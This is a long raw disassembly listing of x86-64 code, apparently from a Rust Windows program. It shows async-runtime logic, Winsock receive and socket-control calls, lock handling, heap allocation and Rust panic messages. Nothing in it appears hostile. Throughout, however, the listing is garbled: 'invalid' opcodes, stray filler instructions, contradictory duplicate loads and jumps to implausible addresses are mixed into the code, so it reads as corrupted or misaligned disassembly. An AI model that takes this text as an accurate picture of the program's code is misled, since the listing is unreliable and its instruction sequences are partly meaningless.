lea rcx, [rbp + 0x4a0]
mov r8d, 0x518
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x9b8], rdi
mov qword [rbp + 0x9c0], r14
cmp dword [rbp + 0x4a0], 3
je 0x1400e7dcf
mov qword [rbp + 0x9e8], r13
lea rcx, [rbp + 0x4a0]
call fcn.1400bcbc0
mov r15d, 4
jmp 0x1400e7f13
mov qword [rbp + 0x9c8], r13
mov rax, qword [rsi]
test rax, rax
mov qword [rbp + 0x9e0], rsi
add byte [rax], al
je 0x1400e7e05
lock dec qword [rax]
jne 0x1400e7e05
mov rax, qword [rbp + 0x9e0]
mov rcx, qword [rax]
call fcn.1400e7ad0
mov rax, qword [rbp + 0x9e0]
mov qword [rax], 0
xor eax, eax
mov r13, qword [rbp + 0x9c8]
cmp qword [r12], 0
mov qword [r12], 0
je 0x1400e81b5
mov qword [r12], 2
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x9e8], r13
lodsd eax, dword [rsi]
call 0x1880e7e4f
lea ecx, [rbp + 0x4a0]
call fcn.1400bd390
movups xmm6, xmmword [r12]
mov rax, r12
mov r12, qword [r12]
and al, 0x48
mov dword [rax], 3
cmp r12, 3
je 0x1400e81d6
add byte [rax], al
mov rsi, rax
lea rcx, [rbp + 0x4a0]
mov r8d, 0x518
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
or dword [rax], eax
movups xmmword [rbp + 0x9b8], xmm6
mov rcx, qword [rbp + 0x9f0]
mov r15, qword [rcx + 0xa58]
movzx ebx, byte [rcx + 0xa60]
mov eax, dword [rcx + 0xa64]
mov dword [rbp + 0x9db], eax
add byte [rax], al
mov eax, dword [rcx + 0xa61]
mov dword [rbp + 0x9d8], eax
mov rdi, qword [rcx + 0xa68]
mov ecx, 0xa68
mov r14, qword [rcx + 0xa70]
lea rdx, [rcx + 0xa78]
lea rcx, [rbp - 0x58]
mov r8d, 0x4f8
add al, 0
invalid
call sub.VCRUNTIME140.dll_memcpy
test r12, 0xfffffffffffffffd
mov r12, rsi
mov esp, esi
je 0x1400e7efd
lea rcx, [rbp + 0x9c0]
mov qword [rbp + 0x9e8], r13
add byte [rax], al
call fcn.1400bd390
cmp r15, 5
jne 0x1400e7f13
mov al, 1
mov cl, 3
mov rdx, qword [rbp + 0x9f0]
add byte [rax], al
jmp 0x1400e80d3
mov rsi, qword [rbp + 0x9f0]
mov qword [rsi + 0x530], r15
mov byte [rsi + 0x538], bl
mov eax, dword [rbp + 0x9d8]
or dword [rax], eax
invalid
mov ecx, dword [rbp + 0x9db]
mov dword [rsi + 0x539], eax
add byte [rcx + 0x53c8e], cl
add byte [rax - 0x77], cl
mov esi, 0x540
mov qword [rsi + 0x548], r14
lea rcx, [rsi + 0x550]
lea rdx, [rbp - 0x58]
mov r8d, 0x4f8
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0xf70]
mov eax, dword [rsi + 0xf70]
mov eax, dword [rsi + 0xf70]
cmp rax, 3
je 0x1400e7fab
cmp dword [r13], 3
je 0x1400e7f90
add esi, dword [rcx + rbx + 0x4c]
mov dword [rbp + 0x9e0], esp
mov qword [rbp + 0x9e0], r12
mov rcx, r13
call fcn.1400bcbc0
mov rax, qword [rbp + 0x9e0]
mov rax, qword [rax]
test rax, 0xfffffffffffffffd
je 0x1400e7fab
invalid
mov rax, qword [rbp + 0x9f0]
lea rcx, [rax + 0xf78]
add byte [rax], al
call fcn.1400bd390
mov rax, qword [rbp + 0x9f0]
lea rdx, [rax + 0x530]
nop
xor byte [0x17a917fbb], al
add al, 0xf
invalid
invalid
add byte [rax], al
invalid
nop
xor byte [0x17a917fbb], al
add al, 0xf
test byte [rcx + 0x48000000], bh
mov esi, dword [rbp + 0x9f0]
mov ch, 0xf0
or dword [rax], eax
invalid
mov rsi, qword [rbp + 0x9f0]
mov ch, 0xf0
or dword [rax], eax
add dh, al
xchg byte [rdx + 0xa], cl
add byte [rax], al
add dword [rax - 0x73], ecx
lea esp, [rax + 0x41000004]
add al, 0
add byte [rcx - 0x48], al
invalid
invalid
add byte [rax], al
invalid
mov byte [rsi + 0xa4a], 1
lea rcx, [rbp + 0x4a0]
add al, 0
add byte [rcx - 0x48], al
invalid
invalid
add byte [rax], al
invalid
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + 0xa49], 0
mov rax, qword [rsi + 0xa50]
mov qword [rbp - 0x58], rax
lea rcx, [rbp - 0x58]
test al, 0xe8
ret
sbb edi, eax
dec dword [rax - 0x75]
mov ebp, 0x9f0
lea rcx, [rdi + 0xa50]
mov byte [rdi + 0xa4a], 0
lea rdx, [rbp + 0x4a0]
mov r8d, 0x518
call sub.VCRUNTIME140.dll_memcpy
or dword [rax], eax
lea rcx, [rdi + 0xa50]
mov qword [rbp + 0x9e0], rcx
mov rdx, qword [rbp + 0x9d0]
xchg ebp, eax
ror byte [rcx], 1
add byte [rax], al
xchg ebp, eax
ror byte [rcx], 1
add byte [rax], al
call fcn.1400e84d0
cmp al, 2
jne 0x1400e8052
mov al, 1
mov cl, 4
mov rdx, qword [rbp + 0x9f0]
jmp 0x1400e80d3
invalid
add byte [rax], al
invalid
add dword [rax], 0x8b480000
invalid
mov rcx, qword [rbp + 0x9e0]
cmp dword [rcx], 3
je 0x1400e8063
call fcn.1400bcbc0
mov rax, qword [rbp + 0x9f0]
mov eax, dword [rbp + 0x9f0]
mov byte [rax + 0xa4a], 0
cmp qword [rax + 0x530], 4
xor byte [0x1b512807a], al
invalid
mov rax, qword [rbp + 0x9f0]
test byte [rax + 0x540], 1
invalid
invalid
add byte [rax], al
invalid
lock or dword [rax], eax
add dh, dh
add byte [rax + 5], 0
invalid
invalid
add byte [rax], al
invalid
add eax, 0x74010000
adc ecx, dword [rax - 0x75]
test eax, esi
lock or dword [rax], eax
je case.0x1400e2e02.30
mov rax, qword [rbp + 0x9f0]
lea rcx, [rax + 0x548]
mov byte [rax + 5], cl
add byte [rax], al
add byte [rax - 0x73], cl
mov byte [rax + 5], cl
add byte [rax], al
call fcn.1400bd390
mov rax, qword [rbp + 0x9f0]
cmp byte [rax + 0xa49], 0
je 0x1400e80c1
mov rax, qword [rbp + 0x9f0]
lea rcx, [rax + 0xa50]
call fcn.140069bc0
sbb bh, al
invalid
mov rdx, qword [rbp + 0x9f0]
mov byte [rdx + 0xa49], 0
mov cl, 1
xor eax, eax
mov byte [rdx + 0xa48], cl
mov cl, byte [rax + 0xa]
add byte [rax], al
movaps xmm6, xmmword [rbp + 0xa00]
add rsp, 0xa98
or al, byte [rax]
add byte [rbx + 0x5f], bl
or al, byte [rax]
add byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str._async_fn__resumed_after_completion
lea r8, [0x1401bbd88]
xchg byte [rcx + 0x23ba00], bh
add byte [rax], al
xchg byte [rcx + 0x23ba00], bh
add byte [rax], al
call fcn.140186b70
ud2
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, [0x1401bbd88]
mov edx, 0x22
call fcn.140186b70
ud2
mov qword [rbp + 0x9e8], r13
lea rcx, str.cannot_poll_Select_twiceC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.29_src_future_select.rs
lea r8, [0x1401be000]
mov edx, 0x18
call fcn.140186f60
jmp 0x1400e8216
mov qword [rbp + 0x9e8], r13
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.29_src_future_futuremap.rs8
mov edx, 0x36
call fcn.14018ac80
jmp 0x1400e8216
mov qword [rbp + 0x9e8], r13
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, [0x1401be018]
mov edx, 0x28
call fcn.140186b70
jmp 0x1400e8216
mov qword [rbp + 0x9e8], r13
lea rcx, [0x1401b8ce1]
lea r8, [0x1401b8d78]
mov edx, 0x1a
call fcn.140186f60
jmp 0x1400e8216
mov qword [rbp + 0x9e8], r13
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, [0x1401b8d90]
mov edx, 0x2b
call fcn.140186b70
jmp 0x1400e8216
mov qword [rbp + 0x9e8], r13
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, [0x1401be018]
mov edx, 0x28
call fcn.140186b70
jmp 0x1400e8216
mov qword [rbp + 0x9e8], r13
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.29_srcmpscmod.rs
mov edx, 0x2b
call fcn.140186b70
ud2
mov rax, qword [rbp + 0x670]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x650]
mov rcx, qword [rbp + 0x658]
movupd xmm0, xmmword [rbp + 0x660]
movapd xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rcx
mov rcx, qword [rbp + 0x638]
lea edi, [rax]
invalid
add byte [rax], al
lea rdx, [rbp - 0x40]
call fcn.1400233b0
movzx eax, byte [r14]
test rax, rax
je case.0x1400af7b4.271
add byte [rax], al
invalid
cmp eax, 1
jne 0x1400e9adf
mov r12d, dword [rdi + 0x3fc]
mov r15b, byte [rdi + 0x3f9]
mov rcx, qword [rbp + 0x6a8]
add byte [rax - 0x77], cl
invalid
call fcn.1400f29a0
mov r13b, 4
test rax, rax
jne 0x1400e9acc
test rdx, rdx
jne 0x1400e9ad1
mov rcx, qword [rdi + 0x188]
mov rax, qword [rdi + 0x190]
mov rdx, rsi
call qword [rax + 0x30]
test rax, rax
jne 0x1400e9ceb
test rdx, rdx
jne 0x1400e9ad1
mov byte [rdi + 0x3f8], 2
mov byte [rdi + 0x3f9], r15b
mov dword [rdi + 0x3fc], r12d
jmp 0x1400e8eee
lea rcx, [rbp + 0x6b0]
mov rdx, rdi
mov r8, rsi
call fcn.1400eb0b0
movzx eax, byte [rbp + 0x6b0]
test dword [rax - 0x7cfffffa], esi
clc
add al, 0xf
test ebp, esp
add dword [rax], eax
invalid
mov r13, qword [rdi + 0x400]
lea rbx, [r13 + 0x10]
adc byte [rax - 0x77], cl
fcos
adc eax, 0xa60a2
mov rax, qword [0x14023c300]
shl rax, 1
shl eax, 1
test rax, rax
jne 0x1400e9162
xor eax, eax
mov dword [rbp + 0x6e0], eax
mov qword [rbp + 0x6e8], rbx
movzx eax, byte [r13 + 0x18]
test al, al
ror byte [rdi], 0x85
and byte [rcx], dl
add byte [rax], al
lea rcx, [r13 + 0x20]
mov rdx, qword [rdi + 0x408]
add byte [rax], al
add rdx, 0x10
mov r8, rsi
mov r9, rdi
call fcn.1400eecb0
mov r15, rax
mov r12, rdx
cmp byte [rbp + 0x6e0], 0
jne 0x1400e9021
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400e9386
mov rcx, qword [rbp + 0x6e8]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov r13b, 4
test r15, r15
jne 0x1400e9acc
test r12, r12
jne 0x1400e9bf1
invalid
scasb al, byte [rdi]
or eax, dword [rax]
invalid
mov rax, qword [rbp + 0x690]
cmp qword [rax], 0
jne 0x1400e907a
cmp byte [rdi + 0x3d4], 0
jne 0x1400e9acc
cmp dword [rdi + 0x3c8], 0
je 0x1400e9acc
invalid
or al, byte [rax]
invalid
cmp dword [rdi + 0x3cc], 0x7fffffff
je 0x1400e9acc
mov r15, qword [rdi + 0x400]
lea r12, [r15 + 0x10]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400e916e
xor eax, eax
movzx ecx, byte [r15 + 0x18]
test cl, cl
jne 0x1400ea146
mov rcx, qword [r15 + 0x178]
or rcx, qword [r15 + 0x188]
setne bl
test al, al
jne 0x1400e90d8
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400e939d
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test bl, bl
jne 0x1400e9ceb
mov rcx, qword [rdi + 0x400]
add rcx, 0x10
call fcn.1400eafa0
mov dword [rbp + 0x670], eax
mov dword [rbp + 0x674], 0
lea rcx, [0x1401b9e38]
mov qword [rbp + 0x650], rcx
lea rcx, [0x1401ea218]
cli
adc byte [rax], dl
add byte [rax - 0x77], cl
lea ebx, [rax + 6]
add byte [rax], al
lea rcx, [rbp + 0x670]
movups xmmword [rcx - 0x10], xmm6
mov byte [rdi + 0x3d4], 1
cmp dword [rdi + 0x3c8], 0
je 0x1400e8eb0
cmp dword [rdi + 0x3cc], eax
jne 0x1400e8eb0
int3
cmp dword [rdi + 0x3d0], 0
jne 0x1400e8eb0
test dword [rbx - 3], edx
invalid
invalid
add byte [rdi], cl
test dword [rbx - 3], edx
invalid
jmp 0x1400e8eee
call fcn.14018d880
xor al, 1
add ecx, ebp
pop rbp
invalid
invalid
invalid
call fcn.14018d880
xor al, 1
movzx ecx, byte [r15 + 0x18]
movzx ecx, byte [rdi + 0x18]
movzx ecx, byte [rdi + 0x18]
test cl, cl
je 0x1400e90b0
jmp 0x1400ea146
movzx r13d, byte [rbp + 0x6b1]
mov r12d, dword [rbp + 0x6b4]
mov r10, qword [rbp + 0x6b8]
mov r8, qword [rbp + 0x6c0]
movdqu xmm0, xmmword [rbp + 0x6c8]
outsd dx, dword [rsi]
test eax, ecx
invalid
add byte [rax], al
outsd dx, dword [rsi]
test eax, ecx
invalid
mov rdx, qword [rdi + 0x400]
mov r9, qword [rdi + 0x408]
mov ecx, dword [rdi + 0x408]
lea rbx, [rdx + 0x10]
lea r15, [r9 + 0x10]
mov qword [rbp + 0x650], r14
mov rcx, qword [rbp + 0x638]
mov qword [rbp + 0x658], rcx
mov qword [rbp + 0x670], rbx
mov qword [rbp + 0x678], r15
mov byte [rbp + 0x680], 0
invalid
add byte [rax], al
invalid
test dword [rax + 6], eax
mov rcx, qword [rbp + 0x690]
mov qword [rbp + 0x660], rcx
mov dword [rbp + 0x660], ecx
mov rcx, qword [rbp + 0x530]
mov qword [rbp + 0x668], rcx
invalid
invalid
add byte [rax], al
add byte [rax], al
mov eax, eax
lea rcx, [0x1401eef0c]
or eax, 0x105cfb
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rbp + 0x538], r10
mov qword [rbp + 0x6e0], r9
mov qword [rbp + 0x6e8], rdx
invalid
add byte [rax], al
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
mov r13, qword [rbp + 0x6e8]
call 0x14f0e9253
test dword [rbx], esp
invalid
add byte [rax], al
xor eax, eax
mov dword [rbp + 0x6a4], eax
movzx eax, byte [r13 + 0x18]
test al, al
ror byte [rdi], 0x85
invalid
adc dword [rax], eax
invalid
mov qword [rbp + 0x640], r15
mov qword [rbp + 0x5a0], rbx
lea rax, [r13 + 0x20]
mov qword [rbp + 0x5a8], rax
test al, 5
add byte [rax], al
lea rax, [r13 + 0x1b8]
mov qword [rbp + 0x5d8], rax
lea rax, [r13 + 0x1e0]
mov qword [rbp + 0x648], rax
mov rcx, qword [r13 + 0x218]
mov rdx, qword [r13 + 0x220]
mov edx, dword [rbp + 0x220]
mov r8d, r12d
call fcn.140024280
mov r9, qword [r13 + 0x200]
lea eax, [rax]
add al, byte [rax]
add byte [rcx - 0x75], cl
xchg ebp, eax
adc byte [rdx], al
add byte [rax], al
mov r8, qword [r13 + 0x1e0]
mov r10, qword [r13 + 0x1e8]
mov rcx, rax
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
rol byte [rax], 0x66
pshufw mm0, mm0, 0
rol byte [rax], 0x66
pshufw mm0, mm0, 0
xor ecx, ecx
mov qword [rbp + 0x698], rcx
mov qword [rbp + 0x548], rax
and rax, r10
movdqu xmm1, xmmword [r8 + rax]
movdqa xmm2, xmm0
pcmpeqb xmm2, xmm1
pmovmskb ebx, xmm2
nop dword [rax]
test bx, bx
je case.0x1400dfa4d.65
invalid
tzcnt r15d, ebx
add r15, rax
and r15, r10
lea rcx, [r15*8]
mov r13, r8
sub r13, rcx
sub ebp, ecx
mov r13, qword [r13 - 8]
insd dword [rdi], dx
clc
cmp rdx, r13
jbe 0x1400ea0dd
lea r11d, [rbx - 1]
and r11d, ebx
and ebx, ebx
and ebx, ebx
mov rcx, r13
shl rcx, 4
mov ebx, r11d
cmp dword [r9 + rcx + 8], r12d
or byte [rbp - 0x43], dh
jmp 0x1400e9535
pcmpeqb xmm1, xmm7
pmovmskb ecx, xmm1
test ecx, ecx
jne 0x1400e99b3
mov rcx, qword [rbp + 0x698]
add rax, rcx
add rax, 0x10
add rcx, 0x10
mov qword [rbp + 0x698], rcx
lea ebx, [rax - 0x16fffffa]
jno 0x1400e9383
invalid
invalid
invalid
lea ebx, [rax - 0x16fffffa]
add cl, ch
jno 0x1400e9383
invalid
invalid
call fcn.14018d880
test al, al
jne 0x1400e9021
mov byte [r13 + 0x18], 1
mov byte [rbp + 0x18], 1
jmp 0x1400e9021
invalid
call fcn.14018d880
or al, byte [rax]
test al, al
jne 0x1400e90d8
mov byte [r15 + 0x18], 1
jmp 0x1400e90d8
mov byte [rbp + 0x6b1], r13b
mov qword [rbp + 0x6b8], r10
mov dword [rbp + 0x6b8], edx
mov dword [rbp + 0x6b8], edx
mov qword [rbp + 0x6c0], r8
movq qword [rbp + 0x6c8], xmm0
test eax, ecx
invalid
add byte [rax], al
mov byte [rbp + 0x6b0], 2
invalid
add byte [rax], al
add cl, byte [rbp - 0x7b]
ror byte [rdi], cl
test byte [rcx], al
invalid
add byte [rax], al
test eax, ecx
invalid
invalid
mov r12, r10
movq rbx, xmm0
test rbx, rbx
je 0x1400e98ee
js 0x1400ea485
movzx eax, byte [0x14023c308]
mov rax, qword [0x14023c258]
test rax, rax
jne 0x1400e9421
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
adc eax, 0xa5c2f
test rax, rax
je 0x1400ea476
mov qword [0x14023c258], rax
mov rcx, rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
pop rsp
or al, byte [rax]
pop rsp
or al, byte [rax]
mov r15, rax
test rax, rax
jne 0x1400e98f4
jmp 0x1400ea476
mov word [rdi + 0x3f8], 0x101
mov dword [rdi + 0x3fc], 0
jmp 0x1400e8eee
add eax, dword [rax]
add byte [rcx], al
add edi, eax
xchg esp, edi
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add cl, ch
xchg esi, eax
cli
invalid
mov qword [rbp + 0x560], r10
mov qword [rbp + 0x568], r8
movdqu xmmword [rbp + 0x570], xmm0
mov rax, qword [r10]
movq r9, xmm0
mov byte [rbp + 0x707], 0
lea rcx, [rbp - 0x40]
lea rdx, [rbp + 0x578]
call rax
movdqu xmm0, xmmword [rbp - 0x40]
movupd xmm1, xmmword [rbp - 0x30]
lea rax, [rbp + 0x5e8]
movupd xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov dword [rbp + 0x5e4], r12d
mov byte [rbp + 0x5e1], r13b
mov byte [rbp + 0x5e0], 1
cmp dword [rdi + 0x3c8], 0
je 0x1400e9792
cmp dword [rdi + 0x3d0], r12d
jne 0x1400e9792
mov byte [rdi + 0x3f8], 1
mov byte [rdi + 0x3f9], r13b
mov dword [rdi + 0x3fc], r12d
mov rax, qword [rbp + 0x5e8]
mov rdx, qword [rbp + 0x5f0]
mov rax, qword [rax + 0x10]
mov r8, qword [rbp + 0x5f8]
mov byte [rbp + 0x707], 0
lea rcx, [rbp + 0x600]
call rax
mov rax, qword [rbp + 0x560]
mov rdx, qword [rbp + 0x568]
mov r8, qword [rbp + 0x570]
lea rcx, [rbp + 0x578]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400e8eee
neg r15
lea rax, [r8 + r15*8]
mov r8, qword [rbp + 0x648]
mov qword [rbp + 0x6b8], r8
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x6c8], r12d
cmp r13, rdx
jae 0x1400ea0f1
mov r13, qword [rbp + 0x6e8]
mov rax, qword [r13 + 0x200]
mov r12d, dword [rax + rcx + 8]
mov eax, dword [rax + rcx + 0xc]
mov dword [rbp + 0x698], eax
mov rbx, qword [rbp + 0x640]
mov r15, qword [rbp + 0x6e0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400e9994
xor ecx, ecx
mov ebx, r12d
movzx eax, byte [r15 + 0x18]
test al, al
jne 0x1400ea43e
mov dword [rbp + 0x648], ecx
mov rax, qword [rbp + 0x5d8]
mov qword [rbp + 0x5e0], rax
mov eax, dword [rbp + 0x698]
mov dword [rbp + 0x5e8], eax
mov dword [rbp + 0x5ec], ebx
mov dword [rbp + 0x580], eax
mov dword [rbp + 0x584], ebx
mov r15d, eax
cmp qword [r13 + 0x1c8], r15
jbe 0x1400ea29d
mov rax, qword [rbp + 0x6e8]
mov rax, qword [rax + 0x1b8]
test rax, rax
je 0x1400ea29d
imul r13, r15, 0x130
cmp dword [rax + r13], 2
je 0x1400ea29d
add rax, r13
cmp dword [rax + 0x114], ebx
jne 0x1400ea29d
mov rcx, qword [rbp + 0x6e0]
lea r9, [rcx + 0x20]
mov rdx, qword [rbp + 0x6e8]
lea r12, [rdx + 0x170]
mov eax, dword [rax + 0x48]
mov dword [rbp + 0x5d8], eax
lea rcx, [rdx + 0xc0]
lea rax, [rdx + 0x160]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
lea rax, [rbp + 0x5e0]
mov qword [rsp + 0x20], rax
mov rdx, qword [rbp + 0x538]
mov r8b, 1
call fcn.1400d5330
mov rcx, qword [rbp + 0x5a8]
lea rdx, [rbp + 0x5e0]
mov r8, r12
call fcn.14002a240
mov eax, dword [rbp + 0x698]
mov dword [rbp + 0x580], eax
mov dword [rbp + 0x584], ebx
mov rax, qword [rbp + 0x6e8]
cmp qword [rax + 0x1c8], r15
jbe 0x1400ea23e
mov rax, qword [rbp + 0x6e8]
mov rax, qword [rax + 0x1b8]
test rax, rax
je 0x1400ea23e
cmp dword [rax + r13], 2
je 0x1400ea23e
add rax, r13
cmp dword [rax + 0x114], ebx
jne 0x1400ea23e
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400e9717
call qword [rdx + ioctlsocket]
cmp dword [rbp + 0x5d8], 0x3b9aca00
setne r8b
mov rcx, r12
lea rdx, [rbp + 0x5e0]
call fcn.140023890
cmp byte [rbp + 0x648], 0
jne 0x1400e9750
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400e9a45
mov rcx, qword [rbp + 0x640]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov rbx, qword [rbp + 0x6e8]
cmp byte [rbp + 0x6a4], 0
jne 0x1400e9780
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400e9a62
mov rcx, qword [rbp + 0x5a0]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
jmp 0x1400e8eee
mov rax, qword [rbp + 0x600]
mov qword [rbp - 0x20], rax
movzx eax, byte [rbp + 0x5e0]
movzx ecx, byte [rbp + 0x5e1]
movzx edx, word [rbp + 0x5e2]
mov r8d, dword [rbp + 0x5e4]
mov r9, qword [rbp + 0x5e8]
movdqu xmm0, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], al
mov byte [rbp - 0x3f], cl
mov word [rbp - 0x3e], dx
mov dword [rbp - 0x3c], r8d
mov qword [rbp - 0x38], r9
mov byte [rbp + 0x707], 0
lea rcx, [rbp + 0x670]
lea rdx, [rbp - 0x40]
call fcn.1400f22d0
movdqu xmm0, xmmword [rbp + 0x560]
movupd xmm1, xmmword [rbp + 0x570]
movapd xmmword [rbp + 0x590], xmm1
movdqa xmmword [rbp + 0x580], xmm0
mov byte [rbp + 0x6f7], 1
mov rcx, rbx
call fcn.1400eafa0
movdqa xmm0, xmmword [rbp + 0x580]
movapd xmm1, xmmword [rbp + 0x590]
movapd xmmword [rbp + 0x6c0], xmm1
movdqa xmmword [rbp + 0x6b0], xmm0
mov dword [rbp + 0x6d0], eax
mov dword [rbp + 0x6d4], r12d
mov byte [rdi + 0x3d4], 1
cmp dword [rdi + 0x3c8], 0
je 0x1400e98a1
cmp dword [rdi + 0x3cc], eax
jne 0x1400e98a1
cmp dword [rdi + 0x3d0], r12d
jne 0x1400e98a1
mov rax, qword [rbp + 0x6b0]
mov rdx, qword [rbp + 0x6b8]
mov rax, qword [rax + 0x10]
mov r8, qword [rbp + 0x6c0]
mov byte [rbp + 0x6f7], 0
lea rcx, [rbp + 0x6c8]
call rax
jmp 0x1400e8eee
mov rax, qword [rbp + 0x6d0]
mov qword [rbp - 0x20], rax
movdqa xmm0, xmmword [rbp + 0x6b0]
movapd xmm1, xmmword [rbp + 0x6c0]
movapd xmmword [rbp - 0x30], xmm1
movdqa xmmword [rbp - 0x40], xmm0
mov byte [rbp + 0x6f7], 0
mov rcx, qword [rbp + 0x638]
lea rdx, [rbp - 0x40]
call fcn.1400233b0
jmp 0x1400e8eee
xor r15d, r15d
mov rbx, qword [rbp + 0x540]
jmp 0x1400e9902
mov r15d, 1
mov rcx, r15
mov rdx, r12
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp - 0x3f], r13b
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], rbx
mov qword [rbp + 0x540], rbx
mov qword [rbp - 0x28], rbx
mov byte [rbp - 0x40], 2
lea rcx, [rbp + 0x670]
lea rdx, [rbp - 0x40]
call fcn.1400f22d0
movzx r13d, byte [rbp + 0x6b0]
movzx ecx, byte [rbp + 0x6b1]
movzx edx, word [rbp + 0x6b2]
mov r9d, dword [rbp + 0x6b4]
movdqu xmm8, xmmword [rbp + 0x6b8]
lea rax, [rbp + 0x6c8]
movupd xmm0, xmmword [rax]
movapd xmmword [rbp + 0x4e0], xmm0
cmp r13b, 3
je 0x1400e8eee
jmp 0x1400ea0ca
call fcn.14018d880
xor al, 1
mov dword [rbp + 0x6a4], eax
movzx eax, byte [r13 + 0x18]
test al, al
je 0x1400e9267
jmp 0x1400ea407
call fcn.14018d880
mov ecx, eax
xor cl, 1
mov ebx, r12d
movzx eax, byte [r15 + 0x18]
test al, al
je 0x1400e95ba
jmp 0x1400ea43e
mov rax, qword [rbp + 0x648]
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x548]
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x6c0], r12d
mov rax, qword [rbp + 0x5d8]
mov qword [rbp + 0x6c8], rax
test r12d, r12d
mov r15, qword [rbp + 0x6e0]
je 0x1400ea48c
test r12b, 1
sete al
mov r13, qword [rbp + 0x6e8]
cmp byte [r13 + 0x1b0], 0
sete cl
xor cl, al
mov rbx, qword [rbp + 0x640]
je 0x1400e9a78
cmp dword [r13 + 0xc0], 0
jne 0x1400e9a9c
cmp dword [r13 + 0xc4], r12d
ja 0x1400e9a9c
lea eax, [r12 + 2]
mov ecx, eax
shr ecx, 0x1f
mov dword [r13 + 0xc0], ecx
mov dword [r13 + 0xc4], eax
jmp 0x1400e9a9c
call fcn.14018d880
test al, al
jne 0x1400e9750
mov rax, qword [rbp + 0x6e0]
mov byte [rax + 0x18], 1
jmp 0x1400e9750
call fcn.14018d880
test al, al
jne 0x1400e9780
mov byte [rbx + 0x18], 1
jmp 0x1400e9780
mov rax, qword [rbp + 0x5a8]
cmp dword [rax], 0
jne 0x1400e9a9c
cmp dword [r13 + 0x24], r12d
ja 0x1400e9a9c
lea eax, [r12 + 2]
mov ecx, eax
shr ecx, 0x1f
mov dword [r13 + 0x20], ecx
mov dword [r13 + 0x24], eax
lea rcx, [rbp - 0x40]
mov edx, r12d
xor r8d, r8d
xor r9d, r9d
call fcn.14002c160
lea rcx, [rbp + 0x6b0]
lea rdx, [rbp - 0x40]
call fcn.14002bfe0
mov dword [rbp + 0x698], eax
mov r12d, edx
jmp 0x1400e958c
jmp 0x1400e9ceb
lea rcx, [rbp - 0x40]
call fcn.140019b60
jmp 0x1400e9bfd
mov r14d, dword [rdi + 0x3fc]
movzx ebx, byte [rdi + 0x3f9]
mov rcx, qword [rbp + 0x690]
mov rax, qword [rcx + 0x20]
mov qword [rbp + 0x670], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x660], xmm1
movaps xmmword [rbp + 0x650], xmm0
mov qword [rdi + 0x410], 0
mov rax, qword [rbp + 0x650]
lea rcx, [0x1401b9e38]
mov qword [rbp - 0x40], rcx
lea rcx, [0x1401ea218]
mov qword [rbp - 0x38], rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0
test rax, rax
je 0x1400e9c73
lea rsi, [rbp + 0x668]
mov r8, qword [rbp + 0x658]
mov r9, qword [rbp + 0x660]
lea rcx, [rbp + 0x6b0]
mov rdx, rsi
call qword [rax]
mov edi, dword [rbp + 0x674]
movups xmm0, xmmword [rbp + 0x6b0]
